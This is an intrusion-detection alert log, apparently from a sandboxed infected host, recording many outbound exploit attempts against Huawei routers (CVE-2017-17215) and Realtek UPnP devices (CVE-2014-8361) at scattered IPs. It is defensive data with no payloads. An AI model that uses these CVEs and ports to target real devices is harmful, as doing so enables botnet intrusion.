07/20/24-23:01:34.927371	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60388	52869	192.168.2.14	90.38.224.171
07/20/24-23:01:19.224455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55106	37215	192.168.2.14	166.99.130.21
07/20/24-23:01:33.055417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45028	37215	192.168.2.14	2.170.112.7
07/20/24-23:01:24.080444	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46312	52869	192.168.2.14	137.171.174.123
07/20/24-23:01:07.668438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41768	37215	192.168.2.14	197.245.150.186
07/20/24-23:01:05.943931	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52456	52869	192.168.2.14	71.96.116.185
07/20/24-23:01:33.059039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56144	37215	192.168.2.14	50.139.236.132
07/20/24-23:01:05.898280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33400	37215	192.168.2.14	157.176.236.80
07/20/24-23:01:34.915141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38052	52869	192.168.2.14	39.157.230.122
07/20/24-23:01:34.952293	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32922	52869	192.168.2.14	218.196.239.193
07/20/24-23:01:25.227766	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39352	52869	192.168.2.14	135.98.136.137
07/20/24-23:01:24.997585	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49562	52869	192.168.2.14	80.229.248.142
07/20/24-23:01:29.172029	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58488	52869	192.168.2.14	146.184.254.182
07/20/24-23:01:29.179619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60338	52869	192.168.2.14	43.140.238.166
07/20/24-23:01:25.232532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53936	37215	192.168.2.14	157.120.97.111
07/20/24-23:01:29.204277	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39460	52869	192.168.2.14	118.185.55.220
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48218	37215	192.168.2.14	157.137.68.172
07/20/24-23:01:37.171010	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51518	37215	192.168.2.14	41.201.182.108
07/20/24-23:01:25.002701	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47890	52869	192.168.2.14	52.221.200.218
07/20/24-23:01:24.078416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46158	52869	192.168.2.14	186.224.19.191
07/20/24-23:01:07.672387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37058	37215	192.168.2.14	67.242.247.76
07/20/24-23:01:02.410932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40186	37215	192.168.2.14	41.115.1.213
07/20/24-23:01:05.893818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38882	37215	192.168.2.14	197.41.90.82
07/20/24-23:01:05.895934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36412	37215	192.168.2.14	157.156.72.128
07/20/24-23:01:06.123009	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46984	52869	192.168.2.14	207.107.95.51
07/20/24-23:01:02.407178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48840	37215	192.168.2.14	61.165.104.213
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37652	37215	192.168.2.14	9.175.29.238
07/20/24-23:01:19.222257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41558	37215	192.168.2.14	197.117.19.131
07/20/24-23:01:06.650057	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55368	52869	192.168.2.14	90.146.163.93
07/20/24-23:01:33.655350	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42590	52869	192.168.2.14	198.253.51.117
07/20/24-23:01:34.964842	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58016	52869	192.168.2.14	183.15.201.247
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60386	37215	192.168.2.14	197.207.13.167
07/20/24-23:01:22.796666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49514	37215	192.168.2.14	92.53.220.181
07/20/24-23:01:28.211361	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60326	37215	192.168.2.14	157.3.40.6
07/20/24-23:01:23.038662	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60336	52869	192.168.2.14	190.210.219.152
07/20/24-23:01:13.331147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45386	52869	192.168.2.14	165.240.21.199
07/20/24-23:01:07.668267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44592	37215	192.168.2.14	77.65.52.12
07/20/24-23:01:19.252785	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43978	37215	192.168.2.14	65.117.250.24
07/20/24-23:01:07.666600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37762	37215	192.168.2.14	205.156.221.195
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60770	37215	192.168.2.14	157.203.3.207
07/20/24-23:01:05.782973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43462	52869	192.168.2.14	99.58.61.9
07/20/24-23:01:28.170987	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59080	37215	192.168.2.14	156.150.14.115
07/20/24-23:01:05.900314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48024	37215	192.168.2.14	48.200.124.66
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58572	37215	192.168.2.14	41.182.225.116
07/20/24-23:01:13.329660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43930	52869	192.168.2.14	68.93.103.227
07/20/24-23:01:14.398934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57044	37215	192.168.2.14	41.184.179.223
07/20/24-23:01:19.335605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43430	37215	192.168.2.14	41.113.193.91
07/20/24-23:01:06.626517	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59690	52869	192.168.2.14	97.182.119.204
07/20/24-23:01:19.335313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48220	37215	192.168.2.14	197.118.16.49
07/20/24-23:01:29.170017	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50208	52869	192.168.2.14	124.106.212.23
07/20/24-23:01:34.945581	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35964	52869	192.168.2.14	69.185.156.127
07/20/24-23:01:02.414137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54792	37215	192.168.2.14	157.47.87.238
07/20/24-23:01:34.909156	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44968	52869	192.168.2.14	222.183.144.227
07/20/24-23:01:13.329423	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48140	52869	192.168.2.14	177.26.169.251
07/20/24-23:01:22.769838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42300	37215	192.168.2.14	41.89.33.66
07/20/24-23:01:24.078342	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42088	52869	192.168.2.14	37.157.73.197
07/20/24-23:01:29.172557	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54266	52869	192.168.2.14	200.134.207.26
07/20/24-23:01:22.779211	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47066	37215	192.168.2.14	157.40.114.14
07/20/24-23:01:25.348386	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57192	52869	192.168.2.14	157.113.216.32
07/20/24-23:01:22.779210	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43286	37215	192.168.2.14	41.191.107.82
07/20/24-23:01:11.461509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59410	37215	192.168.2.14	41.228.216.178
07/20/24-23:01:02.413580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54692	37215	192.168.2.14	41.131.64.64
07/20/24-23:01:25.127718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47348	52869	192.168.2.14	58.199.141.7
07/20/24-23:01:25.294369	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33690	37215	192.168.2.14	197.14.68.46
07/20/24-23:01:28.208110	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49060	37215	192.168.2.14	68.224.117.209
07/20/24-23:01:02.411662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36536	37215	192.168.2.14	197.66.212.124
07/20/24-23:01:07.658261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54066	37215	192.168.2.14	157.36.75.196
07/20/24-23:01:28.142626	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53982	37215	192.168.2.14	41.177.251.100
07/20/24-23:01:25.281101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40960	37215	192.168.2.14	41.226.121.155
07/20/24-23:01:19.222378	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47648	37215	192.168.2.14	75.154.56.66
07/20/24-23:01:06.852960	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46686	52869	192.168.2.14	126.63.129.65
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46538	37215	192.168.2.14	12.8.16.158
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40242	37215	192.168.2.14	41.236.37.80
07/20/24-23:01:07.465802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51724	52869	192.168.2.14	79.199.66.178
07/20/24-23:01:25.284909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56566	37215	192.168.2.14	109.76.24.65
07/20/24-23:01:37.128294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58404	37215	192.168.2.14	157.3.225.101
07/20/24-23:01:11.448569	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43070	37215	192.168.2.14	133.206.177.107
07/20/24-23:01:11.454990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49776	37215	192.168.2.14	197.210.10.61
07/20/24-23:01:37.120918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57708	37215	192.168.2.14	102.237.75.229
07/20/24-23:01:13.331147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58830	52869	192.168.2.14	124.90.204.138
07/20/24-23:01:02.405571	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46206	37215	192.168.2.14	157.208.127.244
07/20/24-23:01:14.397565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41738	37215	192.168.2.14	41.126.108.228
07/20/24-23:01:28.196416	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51582	37215	192.168.2.14	43.2.151.170
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60574	37215	192.168.2.14	68.79.78.213
07/20/24-23:01:37.121494	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33094	37215	192.168.2.14	111.100.170.105
07/20/24-23:01:28.142898	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38564	37215	192.168.2.14	157.132.48.141
07/20/24-23:01:05.898280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41186	37215	192.168.2.14	166.80.241.91
07/20/24-23:01:24.495331	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33372	52869	192.168.2.14	107.169.50.209
07/20/24-23:01:31.092418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40184	52869	192.168.2.14	158.56.98.102
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47198	37215	192.168.2.14	197.229.109.215
07/20/24-23:01:22.776061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58628	37215	192.168.2.14	197.173.235.55
07/20/24-23:01:28.175716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51876	37215	192.168.2.14	191.162.138.179
07/20/24-23:01:34.911249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46828	52869	192.168.2.14	61.33.247.239
07/20/24-23:01:05.871044	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56844	52869	192.168.2.14	114.173.101.131
07/20/24-23:01:06.007807	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54724	52869	192.168.2.14	196.52.15.30
07/20/24-23:01:19.334827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43828	37215	192.168.2.14	163.20.58.187
07/20/24-23:01:06.571768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52350	52869	192.168.2.14	19.130.123.151
07/20/24-23:01:19.227177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43642	37215	192.168.2.14	41.207.38.72
07/20/24-23:01:32.304172	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34960	52869	192.168.2.14	23.217.181.6
07/20/24-23:01:28.208110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55854	37215	192.168.2.14	157.249.158.201
07/20/24-23:01:33.084068	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46814	37215	192.168.2.14	157.215.167.105
07/20/24-23:01:33.727604	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58358	52869	192.168.2.14	79.118.207.216
07/20/24-23:01:34.902376	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59926	52869	192.168.2.14	86.27.131.229
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47768	37215	192.168.2.14	157.214.243.25
07/20/24-23:01:24.831419	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37032	52869	192.168.2.14	128.88.211.196
07/20/24-23:01:05.904128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33254	37215	192.168.2.14	47.41.98.206
07/20/24-23:01:29.169445	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53600	52869	192.168.2.14	155.24.113.226
07/20/24-23:01:31.312736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46358	52869	192.168.2.14	53.20.227.219
07/20/24-23:01:14.396852	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52058	37215	192.168.2.14	213.65.233.115
07/20/24-23:01:19.220464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38182	37215	192.168.2.14	183.53.169.200
07/20/24-23:01:19.222257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50912	37215	192.168.2.14	41.237.27.139
07/20/24-23:01:05.904128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47138	37215	192.168.2.14	197.37.56.19
07/20/24-23:01:07.684526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58354	37215	192.168.2.14	117.81.229.141
07/20/24-23:01:19.334293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58748	37215	192.168.2.14	197.175.130.233
07/20/24-23:01:05.895886	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40738	37215	192.168.2.14	157.139.36.46
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34432	37215	192.168.2.14	41.159.245.252
07/20/24-23:01:34.935674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41694	52869	192.168.2.14	145.28.17.66
07/20/24-23:01:34.937254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54284	52869	192.168.2.14	88.254.0.55
07/20/24-23:01:11.472602	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42530	37215	192.168.2.14	157.4.242.103
07/20/24-23:01:29.171040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39946	52869	192.168.2.14	135.98.136.137
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59936	37215	192.168.2.14	157.73.86.148
07/20/24-23:01:30.707836	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55866	52869	192.168.2.14	66.217.163.116
07/20/24-23:01:29.677384	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36664	52869	192.168.2.14	85.145.238.146
07/20/24-23:01:29.172029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54984	52869	192.168.2.14	106.0.79.225
07/20/24-23:01:24.075555	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47570	52869	192.168.2.14	149.126.253.193
07/20/24-23:01:29.176022	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48410	52869	192.168.2.14	222.219.107.170
07/20/24-23:01:13.335233	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40286	52869	192.168.2.14	173.171.125.50
07/20/24-23:01:14.406708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54184	37215	192.168.2.14	41.209.246.42
07/20/24-23:01:34.940230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44122	52869	192.168.2.14	177.131.193.232
07/20/24-23:01:02.410515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46694	37215	192.168.2.14	138.242.39.199
07/20/24-23:01:13.329969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44222	52869	192.168.2.14	180.39.180.182
07/20/24-23:01:19.233961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48132	37215	192.168.2.14	41.36.106.160
07/20/24-23:01:24.080444	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51424	52869	192.168.2.14	194.152.67.254
07/20/24-23:01:22.846232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55654	52869	192.168.2.14	102.213.194.254
07/20/24-23:01:24.468357	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41214	52869	192.168.2.14	109.148.201.214
07/20/24-23:01:07.682290	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56258	37215	192.168.2.14	41.60.103.183
07/20/24-23:01:37.121494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33716	37215	192.168.2.14	157.151.140.35
07/20/24-23:01:14.399761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36840	37215	192.168.2.14	156.79.148.22
07/20/24-23:01:11.452806	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34856	37215	192.168.2.14	41.130.100.14
07/20/24-23:01:13.330519	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43944	52869	192.168.2.14	162.138.211.72
07/20/24-23:01:33.081951	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58334	37215	192.168.2.14	197.59.154.40
07/20/24-23:01:22.786757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33700	37215	192.168.2.14	197.22.243.41
07/20/24-23:01:28.142898	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38564	37215	192.168.2.14	157.132.48.141
07/20/24-23:01:34.907114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42378	52869	192.168.2.14	1.85.153.115
07/20/24-23:01:11.468893	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58846	37215	192.168.2.14	41.27.229.64
07/20/24-23:01:19.337916	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58104	37215	192.168.2.14	157.38.134.195
07/20/24-23:01:28.145934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35902	37215	192.168.2.14	157.226.137.50
07/20/24-23:01:34.928965	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57576	52869	192.168.2.14	89.251.44.55
07/20/24-23:01:02.410541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47794	37215	192.168.2.14	197.232.128.49
07/20/24-23:01:11.454189	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45818	37215	192.168.2.14	207.115.103.221
07/20/24-23:01:29.541847	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41856	52869	192.168.2.14	210.189.81.4
07/20/24-23:01:13.329717	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60690	52869	192.168.2.14	128.98.160.122
07/20/24-23:01:31.132775	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42504	52869	192.168.2.14	51.61.18.6
07/20/24-23:01:07.672294	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54706	37215	192.168.2.14	157.242.91.59
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33210	37215	192.168.2.14	41.225.217.25
07/20/24-23:01:24.713301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49406	52869	192.168.2.14	66.251.168.249
07/20/24-23:01:24.075800	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33066	52869	192.168.2.14	170.133.86.186
07/20/24-23:01:25.294369	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42408	37215	192.168.2.14	41.148.2.127
07/20/24-23:01:34.900321	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47188	52869	192.168.2.14	198.58.137.77
07/20/24-23:01:37.121609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36778	37215	192.168.2.14	157.193.161.30
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38776	37215	192.168.2.14	197.192.122.153
07/20/24-23:01:22.794319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33862	37215	192.168.2.14	157.175.199.162
07/20/24-23:01:22.794319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51112	37215	192.168.2.14	157.189.46.196
07/20/24-23:01:34.900554	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49312	52869	192.168.2.14	146.102.177.163
07/20/24-23:01:05.565667	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33754	52869	192.168.2.14	130.69.123.40
07/20/24-23:01:05.900314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39950	37215	192.168.2.14	197.188.141.9
07/20/24-23:01:13.331310	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59154	52869	192.168.2.14	99.202.52.30
07/20/24-23:01:23.000602	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41844	52869	192.168.2.14	37.157.73.197
07/20/24-23:01:25.230281	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49918	37215	192.168.2.14	197.235.129.31
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44442	37215	192.168.2.14	197.199.66.57
07/20/24-23:01:30.719960	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50138	52869	192.168.2.14	100.194.218.244
07/20/24-23:01:28.350983	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45728	37215	192.168.2.14	41.106.174.202
07/20/24-23:01:25.298710	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47132	37215	192.168.2.14	197.193.147.74
07/20/24-23:01:32.121660	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58198	52869	192.168.2.14	95.58.16.105
